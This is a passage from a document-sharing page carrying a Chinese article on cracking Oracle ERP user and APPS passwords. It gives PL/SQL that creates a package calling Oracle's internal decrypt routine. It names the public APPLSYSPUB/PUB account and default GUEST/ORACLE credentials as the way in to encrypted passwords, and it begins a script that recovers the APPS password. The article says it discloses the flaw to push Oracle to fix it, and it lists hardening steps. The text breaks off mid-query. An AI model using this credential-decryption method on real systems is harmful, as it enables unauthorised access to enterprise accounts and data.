资源描述:
《oracle_erpapps用户密码大破解》由会员上传分享,免费在线阅读,更多相关内容在行业资料-天天文库。
1、破解OracleERP密码1.写作目的12.利用Toad或其它pl/sql工具在OracleERPDatabase中建立Package,源码如下1(1).建立PackageHeader1(2).建立PackageBody13.取得APPS密码的步骤24.通过任何一个Username/password取得APPS密码的方法25.通过FND_USER:ENCRYPTED_USER_PASSWORD取得明文密码的方法36.通过上面建立的Package取得所有OracleERPApplicationUser密码的方法37.通过上面建立
2、的Package取得所有OracleERPDatabaseUser密码的方法38.删除第一步建立的Package39.结论310.提高OracleERP的安全性411.此程序在OracleERP11.5.9通过Toad测试通过.41.写作目的在要不要写出来让大家知道这个问题上想了很久,但一想到迟早密码破解的方法还是会被人知道的,与其让少部分人知道,还不如让大家都知道,事先好作防范.公布密码破解方法的目的还是想让OracleERP做得更安全一点,让我们大家放心的去用,毕竟是几千万的东西,现在的安全性显然还达不到用户的要求.想借大
3、家的力量给Oracle施加一点压力,以将OracleERP的各个版本改得安全一点.2.利用Toad或其它pl/sql工具在OracleERPDatabase中建立Package,源码如下(1).建立PackageHeaderCREATEORREPLACEPACKAGECrackPwdAUTHIDCURRENT_USERASFUNCTIONgetpwd(orauserINVARCHAR2,appuserpwdINVARCHAR2)RETURNVARCHAR2;ENDCrackPwd;(2).建立PackageBodyCREATE
4、ORREPLACEPACKAGEBODYCrackPwdASFUNCTIONgetpwd(orauserINVARCHAR2,appuserpwdINVARCHAR2)RETURNVARCHAR2ASLANGUAGEJAVA4NAME'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String)returnjava.lang.String';ENDCrackPwd;/1.取得APPS密码的步骤假设现在什么Ora
5、cleerp权限都没有,怎么去知道oracleerpdatabaes的权限呢?我们知道Oracleerp提供了一个database的公用账户(gatewayuser),此账户拥有database的最小权限,这个公用账号是:APPLSYSPUB/PUB(oracleerp网页中或URL中都有公开此账户),虽然此账户没有什么权限,但却有FND_USER_VIEW的查询权限,通过这个view可以看到erp中所有的user和其ENCRYPED_FOUNDATION_PASSWORD字段,问题就出在这个view的ENCRYPED_FOU
6、NDATION_PASSWORD字段上,ENCRYPED_FOUNDATION_PASSWORD这个字段是由APPS的密码和用户密码一起通过加密算法得出的结果,因此只要知道OracleERP的解密算法就可以通过fnd_user中任何一个user的password反查apps的密码.,而要知道fnd_user中任何一个user的密码是太简单的事了,在erp安装时就预设了很多账户,这些账户的username和password都是一样的,一般没有人去改这些账户的密码2.通过任何一个Username/password取得APPS密码的
7、方法SETSERVEROUTPUTONDECLAREguestUserPwdVARCHAR2(200);guestUserNameVARCHAR2(100);guestFndPwdVARCHAR2(100);guestEncFndPwdVARCHAR2(100);delimNUMBER;BEGINguestUserPwd:='GUEST/ORACLE';--CananyuserpasswordIFguestUserPwdISNULLTHENguestUserPwd:=UPPER(fnd_profile.value('GUEST
8、_USER_PWD'));ENDIF;delim:=INSTR(guestUserPwd,'/');guestUserName:=UPPER(SUBSTR(guestUserPwd,1,delim-1));SELECTencrypted_foundation_password